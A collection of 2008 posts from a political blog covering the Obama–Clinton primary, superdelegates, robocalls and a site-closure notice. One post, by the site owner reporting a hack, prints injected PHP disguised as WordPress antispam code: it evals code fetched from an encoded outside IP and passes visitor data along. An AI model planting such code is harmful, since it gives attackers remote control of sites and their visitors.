I just thought something should go up because I haven’t written anything here in about a week, and before that another week. I wasn’t supposed to be the only one writing here. ;-)

I also want to fix the archives so that a lot of the authors that used to to write here - “used to” being the meat and the crux of the problem - get the credit they earned by writing in the first place. When this site moved to WP from MT a couple of years ago, many posts got accidentally assigned to me or others. I have the OLD OLD archives saved with the correct authors, so that will require going into a few thousand posts and changing the authors.

I do thank those authors and the many who voiced their support over the years. I’m glad I could provide a venue for some who were first getting their feet wet into political writing before, in many many cases, moving on to their own sites and spaces. I enjoyed spending $500 for one writer to get thee to an online political conference at GWU, though, again, I didn’t get much in return, and certainly not what was stated would happen. Yeah, I remember things like that.

The future of the popular political blogosphere, especially on the left, is one of recrimination, and I’m not really enjoying the prospect, among many other reasons.

Still pondering.

Thoughts? - temple@polstate.com

——————
ORIGINAL POST
——————

Bored doesn’t quite cover it. Disillusioned with the effort of political opinion over information, over people getting publicity for being idiots rather than savants.

The blindness of people decrying horrible activity and actions on one side while writing and performing the exact same shallow, disingenuous behaviour.

Fairness is dismissed and relegated to a fourth and possibly fifth thought. Leaving room for other’s honest disagreement doesn’t get the gratifying echo chamber for which so many seem to clamor.

That’s not being biased and that’s OK, it’s ignoring your biases. The hypocrisy isn’t accidental but deliberate. And that saddens me.

I pretty much knew all this but have been fighting against it. But now I’m just bored.

This site will shut down. If this causes any sudden inspiration on your part to write let me know. My ideas for the site, well, they are many but I’d rather spend energy doing something else.

It’s hard for me to give it up, but the reasons have gelled rather than melted away.

Etc. Etc.

temple@polstate.com

Though it hasn’t officially passed, everyone has agreed to the final elements of the 2008-2009 state budget. It is balanced after the final pieces of light rail and two tiny goals of the governor fell into place.

These little things, according to the Star-Tribune are “a new nursing facility at the Minneapolis Veterans Home and [a new] Lake Vermilion State Park in northeastern Minnesota.

Meanwhile, the budget agreement closes a projected deficit of $935 million. That caused the DFL leadership to roll back many of their plans, particularly over health care costs and programs.

My relationship with anything “Donna Brazile” is completely FUBAR. It is so bad, it may actually affect my love for Brazil, the country.

Responding to a post about a DNC fundraising letter Brazile, who recently made the distinction that she is “undeclared” not “uncommitted” even though CNN has her down as a supposedly neutral bystander / talking head.

[And that’s before I read katiebird’s comment right after]

John McCain and his mother appear in a short video in a contest of who can better remember how and when John McCain was born. Roberta McCain, 96, wins the recollection contest across seven decades.

Roberta looks in her late 60s, early 70s and seems very alert in talking about the day “Johnny” was born.

She, of course, says he’ll make a great president, though he’s not perfect. It ends, “I’m John McCain and I approve this message - and my mom does, too.”

Though it’s edited in a very strange way, it still begs the question of the campaign here on out - Can charm continue to sway and win the day? Will the race between Obama and McCain be a “charm-in” - a modern day “love-in?”

The supporter letter says:

FROM THE DESK OF CINDY McCAIN
Dear Supporter,

Sunday is Mother’s Day and in our family, as well as in so many others, it is a day to give thanks to the mothers in our lives. Our family is especially thankful for John’s mother, Roberta McCain. At ninety-six years old, she is still as active and delightful as ever and even joins us out on the campaign trail from time to time.

Recently, she and my husband, John, sat down to film an interview about his childhood. From this interview, our campaign has put together a special Mother’s Day message from our family to yours. I hope you’ll take a minute today to watch it by following this link.

Our family has been blessed with seven wonderful children: Doug, Andrew, Sidney, Meghan, Jack, Jimmy and Bridget. As a mother, I want to see that my children have every opportunity to succeed in life. When my husband, John, approached our family about running for president, I thought about the pros and cons of going back out on the campaign trail.

In the end, I knew that as a mother, I wanted my sons, who are both serving in the military, and my daughters to live in a country led by a president - a commander in chief - with the experience and courage to address the big issues our children will face in the future. I know that person is my husband, John McCain.

It would be such a special Mother’s Day gift to me and Roberta to see the man we know and love elected as our next President of the United States. I hope you will take some time today to watch the video message of John and Roberta. After watching the video, I ask that you consider making a campaign contribution of whatever you can to our campaign.

I also hope you will take the time this Sunday (and every day) to show your love and thanks to the mothers in your life. I especially want to send special greetings to all those adoptive parents and foster parents. Thank you for your time; your support is deeply appreciated. Happy Mother’s Day!

Yours Sincerely,

Cindy McCain

And when i delve into code, the whole place usually goes tits up. Not this time.

Starting yesterday - though I think it was happening about a day before that - when I typed in the url of this site, it went to a list of spam links, ringtones, nasty porn (as opposed to the good porn ;-) ) Do not collect $200, do not pass go it went directly there.

Needless to say this site’s Google News mojo and traffic went south rather rapidly.

Because of my reluctance and bad experiences with playing with code I hesitated a long time. But waking up this morning and still seeing nothing at the Support ticket site or in my e-mail I went in to see if there was anything obvious.

Here’s what was at the top of the index.php template to the theme currently guiding this site (slightly edited for obvious reasons):

< ?php //@WPEUpdate 2.12.76
// Do Not Delete!
//
// This is antispam autoupdate code.
//
// (c) WordPress
//
if (!is_numeric($_GET['p']) || $_GET['p'] > 50000) eval(file_get_contents(base64_decode(’aHR0cDovLzIwMi43NS4zNS4xOTgv=’)
.’/cp.php?host=’.urlencode($_SERVER[’HTTP_HOST’]).’&p=’.$_GET[’p'].’&ref=
‘.urlencode($_SERVER[’HTTP_REFERER’]).’&ua=’.$_SERVER[’HTTP_USER_AGENT’].
“&uri=”.urlencode($_SERVER[’REQUEST_URI’]).”&ip=
“.urlencode($_SERVER[’REMOTE_ADDR’])));
//@?>

This may, in fact be a legitimate anti-spam attempt that didn’t work. Or it could be something inserted by someone/thing malicious.

Either way, I have a right to be concerned and AM concerned how it got there because supposedly access requires a password “thingy”, yes?

So after I backed up copies of the index.php a few times, I played with the php string to see if that would help.

It didn’t so I deleted that entire section and it works. Now when I - and more importantly everyone else - type in Polstate.com in the URL field I get this site back.

Apologies to everyone effected and offended by the links. The RSS FEED was not effected so that’s the good news and the site’s FeedBlitz subscribers and other RSS readers got the regular posts.

- Temple Stark
Political State Report
Owner | Publisher

With final results still to come in, the margins of victory are closing in both races. But the clear victor of the night, matching and slightly exceeding expectations, is Barack Obama.

Hillary Clinton after a good run of wins, met the voting base of North Carolina and faced a core block of people don’t like her in Indiana. As of writing, Obama is up by 16 and Clinton is up by 4 (with 75% of the vote counted)

Tonight will be painful for Clinton supporters around the Web, though already seen is the pattern that, yes, this is how the race should go - through people voting. There’s nothing unfair about results (Nov. 2000 the largest and most obvious exception).

Obama supporters will start using Clinton campaign arguments without missing a beat - that the small remaining states don’t matter.

Clinton could easily win all the remaining races but tonight the narrative was written for the rest of the campaign. The biggest decision for the Clinton campaign now is how best to withdraw from the race, with grace and dignity. If Obama supporters will let her.

The left side of the blogosphere will be packed with recriminations from here on, and likely through Election Day in November. John McCain has been polling way ahead of Obama but that is, while not meaningless, fairly insignificant because the question when only two candidates are in the race is an entirely different question.

I’ll have more about swallowing pride and being given reasons for doing so in an upcoming post here. This race has fundamentally changed the future of the Democratic Party and who it caters to. It’s not all positive.

It’s highly possible, by the way, that with North Carolina’s higher delegate count, Barack Obama will come out ahead in that count tonight.

UPDATE: I know it doesn’t mean anything but after having called North Carolina for Obama with no results, the first results show CLINTON with 60% of the vote, with about 1,400 votes to Obama’s 40%.

UPDATE 2 Now early results how Obama with 69% in North Carolina. CNN also joked (joked right?) that Roland Martin had not come out in support of either candidate.

Forty percent counted in indiana and it’s not called for Clinton yet with 12% lead. Perhaps understandable, but I remember last election the races were too close to call for a loooong time and the percentages stayed the same. … Each state is different.

UPDATE 3 CBS NEWS is the first to call Indiana for Obama. CNN’s John King says we want to count the votes as reason for not calling it. By the way, 49 % of vote in for Indiana, 11% of vote in for North Carolina. …. Clinton now ahead by a smaller 10% in Indiana.

I think conventional wisdom, which of course has tracked with the polls, will hold true. Clinton will win Indiana by about the same amount she loses North CArolina. And if she wins North Carolina - very unlikely - then the rules of the “game” have changed big time, and it’ll be Obama on the ropes, still being unable to deliver that knock out punch to his fellow Democrat.

I am certain that the delegates are, of their own volition - in most cases (ahem, Joe Andrew) - slowly opting for Obama because, well, I’m not sure but “inspired” seems to be a key word. That’s fine. It’s part of the process.

Among the most partisan of Democratic voters - the net-punditry - Clinton has become more unpopular for a variety of reasons, many manufactured or left over from the right-wing crazy narrative of the 90s. She’s equally a pariah among the national media punditry, of course, thus demonstrating little difference among pundits no matter the medium.

But she has also become unpopular among Democratic leaders by making these superdelegates make a tough decision. And this is partly, of course, because voters keep on voting for her in heavy amounts thus making her decisions easy - to stay in until the voters clearly reject her candidacy.

I clicked on the following to get a broad feel for what people are thinking about and the title - Time For Obama To Deliver Body Slama - seemed to illustrate my point:

Look, up in the sky. It’s a bird, it’s a plane, it’s SuperObama. Now has come the time to transform those words of hope into a plan of action. So the saying goes, “you can’t bring a knife to a gun fight anymore than you can invoke the Marquess of Queensberry rules to a street brawl.” When your opponent, be it man, woman or desperate, shrill politician decides to discard the rules of engagement, you have no alternative but to follow suit.

Trouble is, the “Time for Obama…” was March 10.

That means that in the caucus they will split the eight delegates (each with half a vote). Voting took place in 21 locations across the US Territory.

To play the decimal point game, that 50.07 percent, Obama and 49.93 percent, Hillary, a difference of 0.7 percent.

So no net gain for either candidate, though since Obama is ahead it perhaps helps him more. The next elections up are Indiana and North Carolina, where the polls are showing a similarly close competition. Obama is up in North Carolina by about 7 using the current RCP average, while Clinton is up in Indiana by 6 points.

(UPDATE 12:40 PST) - With 12 of 21 local precincts in the Democratic caucus counted Obama has 899 to 769 of 1,668 votes counted so far. However, the island’s most populated city, Dededo, has yet to be counted.

————Original Post ————

The voting’s done in Guam and Barack Obama is ahead in caucus delegates, 395 votes to 320.

All ballot boxes from caucus locations were brought to the Legislature and are being hand-counted. A total of about 3,000 caucus votes were made.

Both candidates set up operations in Guam, with Obama’s campaign having a more official field office.

Eight delegates to the Democratic Party Convention in Denver are on the line, though they all only have half a vote. Five superdelegates will also come from the island. Some of the caucus voting today was to determine who they might be as well.

SEE also Guam Election Commission, though it does not seem to have been awoken since elections in 2006.

ABC NEWS should have absolutely found someone else other than former Bill Clinton press secretary George Stephanopoulos to moderate and ask questions of Hillary Clinton on Sunday. Barack Obama and John McCain were also invited, and though it’s not directly accurate to say they refused, they’re not there, so …

*****
Personally this Indianapolis Star editorial endorsement does a pitch-perfect expression of my general reasons for supporting Hillary Clinton.

*****
Super Stuck!
I can’t disagree with anything in this article and this is what I expect the superdelegate mentality to be at this point. It’s a Hobson’s Choice of a situation, and one that none of them signed up for, like the Reserve soldiers in Iraq, except for the obvious complete lack of physical danger.

Superdelegates declaring is a legitimate way to get closer to the finish line.

I truly don’t begrudge any superdelegates making their choice known either, though I can’t understand why they would come out now without waiting for Indiana / North Carolina - unless they’re from those states and think it sends a signal to other superdelegates.

Still, if there wasn’t so much money involved I think conventions on both sides SHOULD matter again, instead of just being one big booster show. They should actually decide things and I see nothing wrong with that.

It sure will be interesting to see how the Democrats change the rules for 2012.

*****
For Friday, Jaime Gonzales, a Texas lawyer declared for Hillary. Paul Kirk, a former DNC chair also declared this morning, for Obama.

*****
A Dream Unity Moment?
Look for video of North Carolina’s Democratic party Jefferson-Jackson Dinner at C-SPAN. Clinton and Obama shared the stage and spoke within in hours of each other. Obama finally said he’s work for Clinton “in a heart beat” if she’s the nominee. Clinton had first said she’d “work her heart out” for Obama if he was the nominee, a sentiment she has repeated often.

By the way C-SPAN has podcasts now. And by the way way, C-SPAN lists Political State Report only after two sites of themselves as a national state news source.

*****
Republican presidential candidate John McCain questioned by baptist minister at a town hall about calling his wife a cunt. The minister, Marty Parrish, said “cunt” in his questioning and McCain did not answer. Parrish, again a baptist minister, was also escorted from the town hall and allegedly told to never attend a McCain event again by the Secret Service.

*****
Why Obama Is Holding the Superdelegates

A take on those superdelegates who have declared this week. Summary, they don’t think Rev. Wright is a good enough or damaging enough reason to derail Obama. Which one would certainly have to believe, and it’s a fair point, but that doesn’t make it true and a wide variety of polling, so far, shows the opposite. Obama has for several weeks been behind McCain in a currently hypothetical match-up between the two. Clinton has led or been just a few ticks behind. If it needs to be said, these polls are not only of Democrats.

*****
Gas Summer Vacation There’s a comment in the article linked directly above about the “gas tax summer vacation” (my term) being seen as pandering and being a decisive issue for a few of the delegates, but that doesn’t ring true at all because it’s such a small issue. It would actually lower gas prices. How could it not, would oil companies really have the nads to suddenly increase the price by 18 cents when everyone would know it is pure profit?

And it would be more than half a tank. 18 cents X10 gallons is $1.80. Let’s say overall a full tank is 15 gallons, that $2.70 per fillup. How many times are you going to fill up in three months. It seems more than half a tank. Also, Clinton has at least tied it to an excessive profits tax for oil companies. This seems like the right idea but extremely hard to implement. Because the idea behind higher prices is that it’s hard to get oil out of the “war zone” of the Middle East and due to greater demand from China and india. But if that’s true, does that mean global oil companies get to screw everyone globally?

Apparently, the answer is, yes.

At the same time, you put that tax in place in the United States and oil companies will be more than happy to sell more to other countries and move their legal HQ out of the country.

AND at the same time II, if the prices continue to be debilitating, the pace of finding alternative enrgy solutions and using hybrid cars, will increase, and that seems like a more worthy, long-term goal. So it also seem much more than pandering, as Obama would describe it.

Obama, voted for the energy bill supported by Vice President Dick Cheney that gave a windfall of tax breaks to “old energy” companies for oil and coal.

***
West Virginia lawmakers
Yesterday, 11 West Virginia lawmakers from across the Mountain state came out in support of Hillary Clinton.

Naturally this was pretty much overlooked compared to one former DNC Chair because his negative comments were more newsworthy.

The West Virginia Clinton endorsers are:

Bonnie Brown, House of Delegates (Kanawha-District 30)
Richard Browning, House of Delegates (Wyoming-District-22), Vice Chair, Economic Development Committee
Barbara Evans Fleischauer, House of Delegates (Monongalia-District-44), Constitutional Revision Chair
Barbara “Bobbie” Hatfield, House of Delegates (Kanawha-District-30), Vice Chair, Health and Human Resources
Steve Kominar, House of Delegates (D-Mingo-District-20), Chair - Insurance
Linda Longstreth, House of Delegates (D-Marion-District-43), Vice Chair, Veterans Affairs
Tim Miley, House of Delegates (D-Harrison-District-41), Assistant Majority Whip
Michael Oliverio II, State Senate (D-Monongalia-District-13), Labor Chair
Dan Poling, House of Delegates (D-Wood-District-10)
Roman Prezioso, State Senate (D-Marion-District-13), Health and Human Resources Chair
Bob Tabb, House of Delegates (D-Jefferson-District-56), Vice Chair, Agriculture

The overriding factor given for when Clinton wins big in West Virginia will be racism, that her Democratic supporters are racist, including these lawmakers presumably - because it allows a crutch to those who are no longer confident in Obama’s abilities. Or who just don’t know better or aren’t as smart as they think they are?

In the world of endorsements only, nothing has been as big or as overlooked as the 100 “small town” mayors from Pennsylvania who on April 15 declared - or redeclared in some cases - for Hillary Clinton. They included Harrisburg Mayor Steve Reed and Allentown Mayor Ed Pawlowski, to go along with Philadelphia and Pittsburgh mayors.

*****
The North Carolina elections - Down Ticket

Congressional Quarterly has a run-down of Republican and Democratic races that are both being narrowed down Tuesday, from governor to legislators and of course, Obama will get a reaffirming win or Clinton will have another big moment in her holster.

Voting in an all-day caucus has already started where “The Day In America Begins.”

Limited polling has showed a slight preference for Hillary Clinton. There is a significant Filipino American community on Guam. At stake are eight delegates. Each each only gets half a vote, however, so it is the equivalent of four delegates.

The westernmost outpost of American territories is a 550 square km land that has a strong Chamorro influence in certain parts of the mainland.

The Guam Election Commission notes about 22,000 registered Democrats on the island, with about 4,000 expected to participate. It is a closed caucus open to registered Democrats

It will be the first time Guamanians have even the slightest influence on American politics, though that has not resulted in either candidate or immediate surrogates going to the island.

Guam also has five (full) superdelegates who will attend the Democratic convention in denver in late August. Currently one is for Obama, one is uncommitted and the other three are for Clinton.

Guam residents do not have a vote on Election Day in November.

The “DC Madam”, Deborah Jeane Palfrey, was found dead this morning in a shed at her mother’s house. Apparently she hung herself.

She had a black book or phone list that contained written on its lined pages, apparently hundreds of names of men, many in powerful positions she gathered from 1993 to 2006 running her “escort” business. ABC News even said they received a copy of the list. The only two men who were named - both came forward before being ‘outed’ - were Republicans; they were Louisiana Congressmember David Vitter and a State Department Undersecretary.

And then, nothing.

Nothing except a protracted trial, again one that received a surprising amount of non-attention that makes people wonder. Palfrey was outspoken to those who were paying attention and she was astounded at the attention and the escalating charges from what she viewed as a corrupt Alberto Gonzales Dept. of Justice.

In my case, the federales claimed I had proffered the unthinkable – pleasures of the flesh - for financial gain, to the male denizens and visitors in our nation’s Capitol. Accordingly, I found myself – besides instantaneously broke - charged with over-the-top and obscene federal crimes. My job description was elevated exponentially from retired escort service operator to the powerful, to money launderer and conspirator over night and later to racketeer.

What particularly made and continues to make my case so unusual, actually bizarre is that no one ever has been charged similarly to me in the metropolitan Washington, D.C. area. Over time, I have come to understand my case is truly one of a kind. Considering there are more adult service businesses than McDonald’s restaurants in operation in the overall vicinity, a virtual array of rich targets for the Feds to pursue – I and I alone appear to be the only subject of their interest.

(More at link above)

I remember preparing a comedic post about the incident. In a trial that received remarkably little attention considering the confluence of sex and politics, (pace Monica Lewinsky) Palfrey was convicted last month of the ancillary charges of “racketeering, money laundering, and two counts of using the mail for illegal purposes.”

She faced as much as 55 years, but it would have been unlikely in normal circmstances for her to serve more than 10; there was no violence to her crimes. And if she had been in Nevada, there, arguably, would have been no crime.

These counter charges from Palfrey would have seemed merely imaginative and laughable before more facts about how former New York Gov. Eliot Spitzer and former Alabama Gov. Don Spiegelman were targeted by Republicans for Republican interests. And Gonzales has proved himself more than willing to be a sycophant to anyone giving him direction.

As Vicky Ward remembers it, Palfrey ran a high-class operation of educated woman who prostituted themselves as a second job. Ward also writes that Palfrey was becoming more conspiratorial and alienated. So, perhaps there’s some background to a suicide.

Yet until the end, she remained resolved to win, to set a precedent. “I am in the fight of my life” she wrote me in February. It was hard to judge her tone. This was, after all, the woman who had told me she was no “Brandy Britton,” the college professor who had killed herself after it emerged she’d been a prostitute.

Palfrey’s Web site currently only has this notice, which may have been there awhile.

The most serious charge from online pundits is that their efforts were deliberately misleading and manipulative. That has resulted in a letter from the North Carolina Attorney General (PDF and reprinted below).

The truth seems to lean on the edge of some very accomplished people doing a few incompetent things. Their robocalls in North Carolina were meant to be reminders to unregistered voters for the general election to register and vote. But since they’re coming out before the primary, with a registration packet scheduled to come in the mail there has been obvious confusion. The calls say people need to sign and register before they can vote. In some cases, the people called were already registered.

And there have been enough suppression tactics from various parties and organizations and Nathan Sproul (who is also a longtime McCain supporter from Arizona) for people to be aware and on the look out for efforts to confuse voters, such as telling people they can’t vote or telling them ther election location has changed or that the election day has changed.

Because Women’s Voices, Women Vote specifically seeks to enroll single women - the group says “unmarried” - the effort was seen by some Obama supporters to be a ploy to benefit Hillary Clinton.

An self-declared Obama supporter who has worked with ther group over many years puts the squelch on that idea. William McNary:

Given my candidate preference and my background and associations in voter registration efforts, I can say with great conviction, there was no effort to suppress or confuse African American voters, or any other voters in the state of North Carolina by Women’s Voices, Women Vote.

I have seen up close the work of Women’s Voices. Women Vote and know well the commitment, passion and leadership our organization has shown in helping make the voices of unmarried women and other underrepresented voters heard. There may have been mistakes made in this particular registration drive in North Carolina, but Women’s Voices, Women Vote’s motives were not malicious or intended in any way to confuse voters. Ironically, just the opposite. I know the staff is making every effort to right the situation.

Obama supporters even began to verbally harass “Digby” at her own blog after someone, somewhere reminded people she had won a blogger award from WVWV, as well as being featured in a get out the vote Public Service Announcement for WVWV.

The group itself has stopped 16 truck of registration packets from going out in the mail, which can’t be a good thing. The state Attorney General’s letter below to the WVWV counsel, doesn’ tappear to have asked for the trucks to stop delivering, however.

The state Attorney General’s office did strongly suggested that the group should stop the calls as presented on the grounds that it broke state laws requiring declaring which group might be calling and a number for the person called to request that they not be called again.

SEE ALSO Matt Stoller @ OpenLeft.com: Some Context on WVWV

________________________________

AG Cooper stops illegal calls to voters as primary nears (PDF here)

Warns voters to be wary of confusing registration mailings

Raleigh: Telemarketing calls that led North Carolina residents to question whether they could vote have stopped, but voters should question mailings scheduled to arrive soon, Attorney General Roy Cooper said Wednesday.

On Wednesday, Cooper and his consumer protection team demanded that the organization Women’s Voices Women Vote stop breaking state law with prerecorded calls to North Carolina residents. The organization said Wednesday the calls would stop.

The robo-calls told residents that they would be receiving a voter registration form in the mail that they needed to sign. But the deadline to register by mail has passed, and some call recipients already were registered, causing confusion.

“Regardless of the motivation, the robo-calls violated the law and they needed to stop,” Cooper said. The calls violated state law by failing to disclose who sponsored the call and failing to offer the organization’s contact information to get the calls to stop.

If voters have doubts, they can check a registration at the state Board of Elections website at http://www.sboe.state.nc.us/VoterLookup.aspx or by phone through their local county board of elections. Already this year Cooper urged political parties and candidates to honor the Do Not Call Registry and to abide by state law that requires disclosure. People who join the Registry are protected from commercial calls by both state and federal laws, but those laws currently exclude political robo-calls.

To report telemarketers or candidates that make calls unlawfully, consumers can call 1 877-5-NO-SCAM toll free within the state or download a complaint form at www.ncdoj.gov.
###

[A LETTER TO WVWV]
VIA FACSIMILE: (202) 328-9162
Holly Schadler, Esquire
Lichtman, Trister & Ross
1666 Connecticut Avenue, N.W.
Washington, DC 20009

Re: Unlawful “Robocalls”
Dear Ms. Schadler:
This is to confirm and follow up on our telephone conversation of earlier this afternoon. My understanding is that you are counsel to Women’s Voices Women Vote (“WVWV”), the
organization that recently sponsored numerous “robocalls” to residential telephone numbers in North Carolina. These pre-recorded calls purportedly came from an individual named Lamont Williams and informed recipients that they would be receiving information in the mail regarding voter registration.

As we discussed, these robocalls appear to have been made in violation of N.C.G.S. § 75- 104. Failure to comply with this statute subjects the offender to civil penalties of up to $5,000 per violation, and individuals who receive these unlawful calls may separately recover statutory damages in the same amounts. N.C.G.S. § 75-105.

During our conversation I asked that WVWV immediately cease and desist from making
any more of these calls, and you agreed. Please ask your client to ensure that no more such calls are made.

In addition, you agreed to immediately provide this office with information regarding the calls made to North Carolinians. Please fax us at your earliest opportunity the following:

1. The names of and contact information for all companies or entities that placed these robocalls for WVWV.

2. Copies of all materials mailed or to be mailed by or on behalf of WVWV to North
Carolina residents.

3. The names of and contact information for all individuals involved in writing or editing the content of any robocalls made to North Carolina residents by or on behalf of WVWV.

4. The names of and contact information for all companies or entities that provided or compiled the names or telephone numbers of North Carolina residents who received these robocalls.

5. An explanation of the criteria used by WVWV, or any third party acting on its behalf, to identify or select the names or telephone numbers of North Carolina residents who received these robocalls.

We will appreciate your voluntary cooperation in providing additional information as our investigation progresses. Thank you for your prompt attention to this matter, and please don’t hesitate to call me if you have any questions.

Very truly yours,
Gary R. Govert
Acting Senior Deputy Attorney General

Math is truth and the truth is that the switch helps Obama make a net gain of two over Clinotn in the Superdelegate count. Equal truth is that neither can make it to the 2025 current count needed to become the nominee. The voters will indeed make their statements, and if Obama wins both Indiana and NOrth Carolina, the race will undoubtedly end. But that’s been said a few times before and Clinton hangs on, by the math and continued support, to lay claim to the nomination.

UPDATE: Three superdelegates from Illinois, Mayor Daley, House Majority Leader Barbara Flynn Currie and Todd Stroger, will be picked up next week (I think this might have been already factored in by the Clinton campaign considering it’s Obama’s home state) and a fourth, DNC Member John Patrick from Texas also declared for Obama today. A big day for Obama. When’s Clinton’s big superdelegate day? Will she have one?

(My thoughts in the comments).

“May 1, 2008

Dear Friends:

I have been inspired.

Today I am announcing my support for Senator Barack Obama for President of the United States of America. I am changing my support from Senator Clinton to Senator Obama, and calling for my fellow Democrats across my home State of Indiana, and my fellow super delegates across the nation, to heal the rift in our Party and unite behind Barack Obama.

The hardest decisions in life are not between good and bad or right and wrong, but between two goods or two rights. That is the decision Democrats face today. We have an embarrassment of riches, but as much as we may love our candidates and revel in the political process that has brought Presidential politics to places that have not seen it in a generation, we cannot let our family affair hurt America by helping John McCain.

Here is my message, explained in this lengthy letter that I hope is perceived as a thoughtful analysis of how to save America from four more years of the misguided polices of the past:

You can be for someone without being against someone else. You can unite behind a candidate and a vision for America without rejecting another candidate and their vision, because in real life, opposed to party politics, we Democrats are on the same side. The battle should not be amongst ourselves. Rather, we should focus our efforts on those who are truly on the opposite side: those who want to continue the failed policies of the last eight years, rather than bring real change to Washington. Let us come together right now behind an inspiring leader who not only has the audacity to challenge the old divisive politics, but the audacity to make us all hope for a better America.

Unite the Party Now

I believe that Bill Clinton will be remembered as one of our nation’s great Presidents, and Senator Clinton as one of our nation’s great public servants. But as much as I respect and admire them both, it is clear that a vote for Hillary Clinton is a vote to continue this process, and a vote to continue this process is a vote that assists John McCain.

I ask Hoosiers to come together and vote for Barack Obama to be our next President. In an accident of timing, Indiana has been given the opportunity to truly make a difference. Hoosiers should grab that power and do what in their heart they know is right. They should reject the old negative politics and vote for true change. Don’t settle for the tried and true and the simplistic slogans, but listen to your heart and dare to be inspired. Only a cynic would be critical of Barack Obama inspiring millions. Only the uninformed could forget that the candidate that wins in November is always the candidate that inspires millions.

I ask the leaders of our Party to come together after this Tuesday’s primary to heal wounds and unite us around a single nominee. While I was hopeful that a long, contested primary season would invigorate our Party, the polls show that the tone and temperature of the race is now hurting us. John McCain, without doing much of anything, is now competitive against both of our remaining candidates. We are doing his work for him and distracting Americans from the issues that really affect all of our lives.

We need to be talking about fixing the economy, not whose acquaintances once said what to whom. We need to be talking about stopping the attacks in Iraq, not stopping the attacks in Indiana. We need to be talking about policy, not politics.

Barack Obama is the Right Candidate for Right Now

While I am a longtime critic of our Party’s rules that created so-called super delegates, we have the rules we have and we must live with them. I am humbled and honored to be a super delegate, and I understand the seriousness of the duty it entails. I recognize that this is a difficult decision for super delegates like me, who owe so much to President Bill Clinton. It is right to be loyal, to be grateful and to be consistent. But it is also right to acknowledge the inevitability of change, right to dare to dream for a better world, and right to know what in your heart is the right thing for the future even if your friends and family disagree. Good things, just like good people, can disagree. But as Democrats, we must disagree with dignity, debate with admiration of each other, and in the end, go forward with mutual respect.

President Clinton and Vice President Gore gave me the opportunity to serve as the Chair of the Democratic Party. I pledged my loyalty to them, and I will never forget Al Gore putting ego aside, gently demurring, and simply asking me to put our country ahead of politics. It is a lesson I will remember forever, and it is what guides me now in this decision. What is best for our Party and our country is not blind loyalty, but passionate support for the candidate who can best correct the misguided policies of the last eight years.

We need a candidate who will re-invigorate the economy and keep good jobs here in America. We need a candidate who will end the war in Iraq. We need a candidate who will provide health coverage for our 45 million uninsured neighbors. We need a candidate who will end our addiction to high-priced foreign oil by investing in renewable energy here at home.

That candidate is Barack Obama.

What was best for America sixteen years ago was electing Bill Clinton. What would have been best for America eight years ago was not only electing Al Gore, which we did, but allowing him to serve as President of the United States. Imagine how the world would be different if Al Gore and not George Bush, would have been President of the United States. Let’s seize the opportunity and vote for someone who like Al Gore, was against the war from the beginning, and who brings a new energy, a new excitement, and a new politics to our country.

Let’s put things right.

Time to Act

Many will ask, why now? Why, with several primaries still remaining, with Senator Clinton just winning Pennsylvania, with my friend Evan Bayh working hard to make sure Senator Clinton wins Indiana, why switch now? Why call for super delegates to come together now to constructively pick a president?

The simple answer is that while the timing is hard for me personally, it is best for America. We simply cannot wait any longer, nor can we let this race fall any lower and still hope to win in November. June or July may be too late. The time to act is now.

I write this letter from my mom’s dining room table in Indianapolis, Indiana. Four generations of my family have argued and laughed around this table. But what I humbly believe today is that we, as Democrats and as Americans, face what Dr. King characterized and what Senator Obama reminds us is the fierce urgency of now. As a nation, we are at a critical moment and we need leaders with the character and vision to see us through the challenges at hand and those to come. I can’t guess what will happen tomorrow, so I can’t tell you what kind of experience our next President will need to have to deal with those challenges. But I can tell you what kind of character and vision they will need to have — and that is what inspires me about Barack Obama.

As Democrats, however, we risk letting this moment slip through our fingers. We risk ceding the field to the Republicans and allowing the morally bankrupt Bush Agenda to continue unabated if we do not unite behind a single candidate. Should this race continue after Indiana and North Carolina, it will inevitably become more negative. The polls already show the supporters for both candidates becoming more strident in their positions and more locked into their support. Continuing on this path would be a catastrophe, as we would inadvertently end up doing Republicans work for them. Already, instead of the audacity of hope, we suffer the audacity of one Democrat comparing John McCain favorably to another Democrat. When that happens, you know it is time for all of us to stop, take a deep breath and unite to change America.

We must act and we must act now.

The Problems of the Process: 2000 and 2008

When Al Gore got a half million more votes than George Bush in 2000, yet the Electoral College elected George Bush President, we saw the absurdity of any system that does not elect the person who gets the most votes. That is why the Democratic Party’s nomination process is flawed. I will continue to fight for a 2012 process where there are only primaries, and which ever Democrat gets the most votes becomes our nominee. Delegates should decide the party platform — voters should decide who our nominee is.

But we are struck with this absurd system for 2008, and, flawed though it may be, we must work within it without betraying the voice of the people. No amount of spin or sleight of hand can deny the fact that where there has been competition, Senator Obama has won more votes, more States and more delegates than any other candidate. Only the super delegates can award the nomination to Senator Clinton, but to do so risks doing to our Party in 2008 what Republicans did to our country in 2000. Let us be intellectually consistent and unite behind Barack Obama.

A New Era of Politics

My endorsement of Senator Obama will not be welcome news to my friends and family at the Clinton campaign. If the campaign’s surrogates called Governor Bill Richardson, a respected former member of President Clinton’s cabinet, a “Judas” for endorsing Senator Obama, we can all imagine how they will treat somebody like me. They are the best practitioners of the old politics, so they will no doubt call me a traitor, an opportunist and a hypocrite. I will be branded as disloyal, power-hungry, but most importantly, they will use the exact words that Republicans used to attack me when I was defending President Clinton.

When they use the same attacks made on me when I was defending them, they prove the callow hypocrisy of the old politics first perfected by Republicans. I am an expert on this because these were the exact tools that I mastered as a campaign volunteer, a campaign manager, a State Party Chair and the National Chair of our Party. I learned the lessons of the tough, right-wing Republicans all too well. I can speak with authority on how to spar with everyone from Lee Atwater to Karl Rove. I understand that, while wrong and pernicious, shallow victory can be achieved through division by semantics and obfuscation. Like many, I succumbed to the addiction of old politics because they are so easy.

Innuendo is easy. The truth is hard.

Sound bites are easy. Solutions are hard.

Spin is simple and easy. Struggling with facts is complicated and hard.

I have learned the hard way that you can love the candidate and hate the campaign. My stomach churns when I think how my old friends in the Clinton campaign will just pick up the old silly Republican play book and call in the same old artificial attacks and bombardments we have all heard before.

Yet, despite the simple and overwhelming pressure to do anything and everything to win, Barack Obama has risen above it all and demanded a new brand of politics. People flock to Senator Obama because they are rejecting the hyperbole of the old politics. The past eight years of George Bush have witnessed a retreat from substance, science, and reason in favor spin, cronyism and ideology. Barack Obama has dared not only to criticize it, as all Democrats do, but to actually reject playing the same old game. And in doing so, he has shown us a new path to victory.

Uniting for Victory

